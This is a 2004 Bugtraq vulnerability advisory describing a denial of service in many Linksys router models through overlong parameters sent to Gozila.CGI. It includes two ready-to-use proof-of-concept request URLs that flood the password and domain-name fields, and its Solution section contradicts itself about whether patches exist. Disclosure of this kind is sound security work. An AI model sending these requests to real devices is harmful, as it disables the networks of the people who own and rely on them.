Multiple Linksys Routers Gozila.CGI Denial Of Service Vulnerabilities

Bugtraq ID:	10453
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 03 2004 12:00AM
Updated:	Jun 03 2004 12:00AM
Credit:	Discovery of these vulnerabilities is credited to b0f www.b0f.net <[email protected]>.
Vulnerable:	Linksys EtherFast BEFSRU31 Router 1.44 Linksys EtherFast BEFSRU31 Router 1.43.3 Linksys EtherFast BEFSRU31 Router 1.43 Linksys EtherFast BEFSRU31 Router 1.42.7 Linksys EtherFast BEFSRU31 Router 1.42.3 Linksys EtherFast BEFSRU31 Router 1.41 Linksys EtherFast BEFSRU31 Router 1.40.2 Linksys EtherFast BEFSR41 Router 1.44 Linksys EtherFast BEFSR41 Router 1.43.3 Linksys EtherFast BEFSR41 Router 1.43 Linksys EtherFast BEFSR41 Router 1.42.7 Linksys EtherFast BEFSR41 Router 1.42.3 Linksys EtherFast BEFSR41 Router 1.41 Linksys EtherFast BEFSR41 Router 1.40.2 Linksys EtherFast BEFSR41 Router 1.39 Linksys EtherFast BEFSR41 Router 1.38 Linksys EtherFast BEFSR41 Router 1.37 Linksys EtherFast BEFSR41 Router 1.36 Linksys EtherFast BEFSR41 Router 1.35 Linksys EtherFast BEFSR11 Router 1.44 Linksys EtherFast BEFSR11 Router 1.43.3 Linksys EtherFast BEFSR11 Router 1.43 Linksys EtherFast BEFSR11 Router 1.42.7 Linksys EtherFast BEFSR11 Router 1.42.3 Linksys EtherFast BEFSR11 Router 1.41 Linksys EtherFast BEFSR11 Router 1.40.2 Linksys BEFW11S4 v4 Linksys BEFW11S4 v3 Linksys BEFW11S4 1.44 Linksys BEFW11S4 1.43.3 Linksys BEFW11S4 1.4.3 Linksys BEFW11S4 1.4.2 .7 Linksys BEFSX41 1.45.3 Linksys BEFSX41 1.44.3 Linksys BEFSX41 1.44 Linksys BEFSX41 1.43.4 Linksys BEFSX41 1.43.3 Linksys BEFSX41 1.43 Linksys BEFSX41 1.42.7 Linksys BEFSR81 v3 Linksys BEFSR81 v2 Linksys BEFSR41 v3
Not Vulnerable:

Multiple Linksys Routers Gozila.CGI Denial Of Service Vulnerabilities

Multiple Linksys routers are reported vulnerable to a denial of service condition. The issues presents themselves due to a lack of sufficient sanitization performed on parameters that are passed to the Gozila.CGI script.

A remote attacker may potentially exploit these conditions to deny service to an affected appliance. It is reported that the device must be reset to the original factory defaults in order to restore normal device functionality.

Multiple Linksys Routers Gozila.CGI Denial Of Service Vulnerabilities

No exploit is required, however the following proof of concept is available:
http://192.168.1.1/Gozila.cgi?sysPasswd=AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&sysPasswdConfirm=AAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAA&UPnP_Work=1&FactoryDefaults=0

http://192.168.1.1/Gozila.cgi?hostName=&DomainName=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&WANConnectionSel=0&ipAddr1=192&ipAddr2=168&
ipAddr3=1&ipAddr4=1&netMask=0&WANConnectionType=1

Multiple Linksys Routers Gozila.CGI Denial Of Service Vulnerabilities

Solution:
It is reported that firmware upgrades to address these issues are available. Customers are advised to contact the vendor regarding obtaining and applying appropriate updates.

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Multiple Linksys Routers Gozila.CGI Denial Of Service Vulnerabilities

References:

• Linksys Homepage (Linksys)
  
• DoS vuln in various versions of Linksys routers. (b0f www.b0f.net )